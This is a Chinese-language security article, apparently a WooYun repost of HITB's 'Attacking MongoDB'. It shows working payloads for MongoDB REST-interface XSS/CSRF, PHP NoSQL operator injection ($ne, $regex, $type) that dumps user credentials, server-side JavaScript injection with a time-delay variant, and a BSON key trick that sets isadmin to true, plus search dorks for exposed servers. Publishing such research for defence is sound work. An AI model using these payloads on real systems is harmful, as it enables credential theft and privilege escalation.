<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/850

                    0x00 背景


                    本文主要來自于HITB Ezine Issue 010中的《Attacking MongoDB》

                    MongoDB是一個基于分布式文件存儲的數據庫。由C++語言編寫。旨在為WEB應用提供可擴展的高性能數據存儲解決方案。是一個介于關系數據庫和非關系數據庫之間的產品,是非關系數據庫當中功能最豐富,最像關系數據庫的。他支持的數據結構非常松散,是類似json的bson格式,因此可以存儲比較復雜的數據類型。Mongo最大的特點是他支持的查詢語言非常強大,其語法有點類似于面向對象的查詢語言,幾乎可以實現類似關系數據庫單表查詢的絕大部分功能,而且還支持對數據建立索引。

                    開發人員使用NoSQL數據庫的各種應用越來越多。 針對NoSQL的攻擊方法是知之甚少,并不太常見。與SQL注入比較,本文重點介紹通過MongoDB的漏洞對Web應用程序可能的攻擊。

                    0x01 攻擊


                    1)REST接口

                    關注到有一個REST接口,提供一個web界面訪問,默認運行在28017端口上,管理員可以用瀏覽器遠程控制數據庫,這個接口我發現了兩個存儲型xss以及很多的CSRF。

                    尋找方式:

                    http://www.shodanhq.com/search?q=port%3A28017

                    enter image description here

                    google搜索:

                    intitle:mongo intext:"listDatabases"
                    

                    enter image description here

                    下了最新版本的mongodb默認不是啟用rest的,需要在配置文件(/etc/mongod.conf)中加入一行

                    rest = true
                    

                    才可以打開其他鏈接內容。

                    下圖展示了攻擊方法

                    插入js代碼,讓管理員執行,利用REST接口,執行mongodb的命令,結果返回到攻擊者的服務器上。

                    enter image description here

                    例如,我利用js代碼讓管理員訪問http://xxx.com:28017/admin/$cmd/?filter_eval=function()%7B%20return%20db.version()%20%7D&limit=1

                    返回結果:

                    enter image description here

                    2)Apache+PHP+MongoDB

                    一段php操作MongoDB的代碼:

                    #!php
                    $q = array("name" => $_GET['login'], "password" => $_ GET['password']);
                    $cursor = $collection->findOne($q);
                    

                    這個腳本的是向MongoDB數據庫請求,如果正常的話,會返回用戶的數據:

                    #!php
                    echo 'Name: ' . $cursor['name'];
                    echo 'Password: ' . $cursor['password']; 
                    

                    訪問下面的連接

                    ?login=admin&password=pa77w0rd 
                    

                    數據庫里的執行情況是:

                    db.items.findOne({"name" :"admin", "password" : "pa77w0rd"}) 
                    

                    如果數據庫里存在的該用戶名及密碼則返回true,否則返回fales。

                    下面的數據庫語句,返回的為用戶不是admin的數據($ne代表不等于):

                    db.items.find({"name" :{$ne : "admin"}}) 
                    

                    那么在現實中的數據庫操作例子通常是這樣子的:

                    db.items.findOne({"name" :"admin", "password" : {$ne : "1"}}) 
                    

                    返回結果將是:

                    {
                        "_id" : ObjectId("4fda5559e5afdc4e22000000"),
                        "name" : "admin",
                        "password" : "pa77w0rd"
                    }
                    

                    php傳入的方式為:

                    #!php
                    $q = array("name" => "admin", "password" => array("\$ne" => "1"));
                    

                    外界請求的參數應該為:

                    ?login=admin&password[$ne]=1   
                    

                    當使用正則$regex的時候,執行下列數據庫語句,將會返回name中所有已y開頭的數據

                    db.items.find({name: {$regex: "^y"}})  
                    

                    如果請求數據的腳本換為:

                    #!php
                    $cursor1 = $collection->find(array("login" => $user, "pass" => $pass));
                    

                    返回結果的數據為:

                    #!php
                    echo 'id: '. $obj2['id'] .'<br>login: '. $obj2['login'] .'<br>pass: '. $obj2['pass'] . '<br>'; 
                    

                    如果想要返回所有數據的話,可以訪問下面的url:

                    ?login[$regex]=^&password[$regex]=^ 
                    

                    返回結果將會是:

                    id: 1
                    login: Admin
                    pass: parol
                    id: 4
                    login: user2
                    pass: godloveman
                    id: 5
                    login: user3
                    pass: thepolice=
                    

                    還有一種利用$type的方式:

                    ?login[$not][$type]=1&password[$not][$type]=1 
                    

                    官方這里有詳細介紹$type的各個值代表的意思:

                    http://cn.docs.mongodb.org/manual/reference/operator/query/type/

                    上面語句表示獲取login與password不為雙精度類型的,同樣會返回所有的數據。

                    3)INJECTION MongoDB

                    當執行的語句采用字符串拼接的時候,同樣也存在注入的問題,如下代碼:

                    #!php
                    $q = "function() { var loginn = '$login'; var passs = '$pass'; db.members.insert({id : 2, login : loginn, pass : passs}); }";
                    

                    當$login與$pass是直接從外界提交到參數獲取:

                    $login = $_GET['login'];
                    $pass = $_GET['password'];
                    

                    并且沒有任何過濾,直接帶入查詢:

                    #!php
                    $db->execute($q);
                    $cursor1 = $collection->find(array("id" => 2));
                    foreach($cursor1 as $obj2){
                    echo "Your login:".$obj2['login'];
                    echo "<br>Your password:".$obj2['pass'];
                    } 
                    

                    輸入測試數據:

                    ?login=user&password=password
                    

                    返回結果將是:

                    Your login: user
                    Your password: password  
                    

                    輸入

                    ?login=user&password=';
                    

                    頁面將會返回報錯。

                    輸入

                    /?login=user&password=1'; var a = '1 
                    

                    頁面返回正常,如何注入出數據呢:

                    ?login=user&password=1'; var loginn = db.version(); var b='
                    

                    看一下返回結果:

                    enter image description here

                    帶入實際中$q是變為:

                    #!php
                    $q = "function() { var loginn = user; var passs = '1'; var loginn = db.version(); var b=''; db.members.insert({id : 2, login : loginn, pass : passs}); }"
                    

                    獲取其他數據的方法:

                     /?login=user&password= '; var loginn = tojson(db.members.find()[0]); var b='2
                    

                    給loginn重新賦值,覆蓋原來的user內容,tojson函數幫助獲取到完整的數據信息,否則的話將會接收到一個Array。

                    最重要的部分是db.memeber.find()[0],member是一個表,find函數是獲取到所有內容,[0]表示獲取第一個數組內,可以遞增獲取所有的內容。

                    當然也有可能遇到沒有返回結果的時候,經典的時間延遲注入也可以使用:

                    ?login=user&password='; if (db.version() > "2") { sleep(10000); exit; } var loginn =1; var b='2 
                    

                    4)BSON

                    BSON(Binary Serialized Document Format)是一種類json的一種二進制形式的存儲格式,簡稱Binary JSON,它和JSON一樣,支持內嵌的文檔對象和數組對象,但是BSON有JSON沒有的一些數據類型,如Date和BinData類型。

                    默認test表中有兩條數據:

                    > db.test.find({}) 
                    { "_id" : ObjectId("52cfa5c9e085a58263f183f9"), "name" : "admin", "isadmin" : true }
                    { "_id" : ObjectId("52cfa5e4e085a58263f183fa"), "name" : "noadmin", "isadmin" : false } 
                    

                    再插入一條:

                    > db.test.insert({ "name" : "noadmin2", "isadmin" : false}) 
                    

                    然后查詢看結果:

                    > db.test.find({})
                    { "_id" : ObjectId("52cfa5c9e085a58263f183f9"), "name" : "admin", "isadmin" : true }
                    { "_id" : ObjectId("52cfa5e4e085a58263f183fa"), "name" : "noadmin", "isadmin" : false }
                    { "_id" : ObjectId("52cfa92ce085a58263f183fb"), "name" : "noadmin2", "isadmin" : false } 
                    

                    再插入一條列名為BSON對象的數據:

                    db.test.insert({ "name\x16\x00\x08isadmin\x00\x01\x00\x00\x00\x00\x00" : "noadmin2", "isadmin" : false})
                    

                    isadmin之前的0x08是指該數據類型是布爾型,后面的0x01是把這個值設定為1。

                    這時再查詢就回發現isadmin變為的true:

                    > db.test.find({})
                    { "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "admin", "isadmin" : true }
                    { "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "noadmin", "isadmin" : false }
                    { "_id" : ObjectId("5044ebf6a91b02e9a9b065e3"), "name" : null, "isadmin" : true, "isadmin" : true } 
                    

                    不過測試最新版的mongodb中,禁止了空字符。

                    enter image description here

                    當然了 我也覺得此類攻擊有點YY。。。

                    0x02 總結


                    本文列舉了四種攻擊mongodb的方式。

                    當然這并不是安全否認mongodb的安全性,只是構造了集中可能存在攻擊的場景。

                    希望大家看到后能夠自查一下,以免受到攻擊。

                    還有一些wofeiwo在2011年的時候就已經寫過:

                    Mongodb安全性初探

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频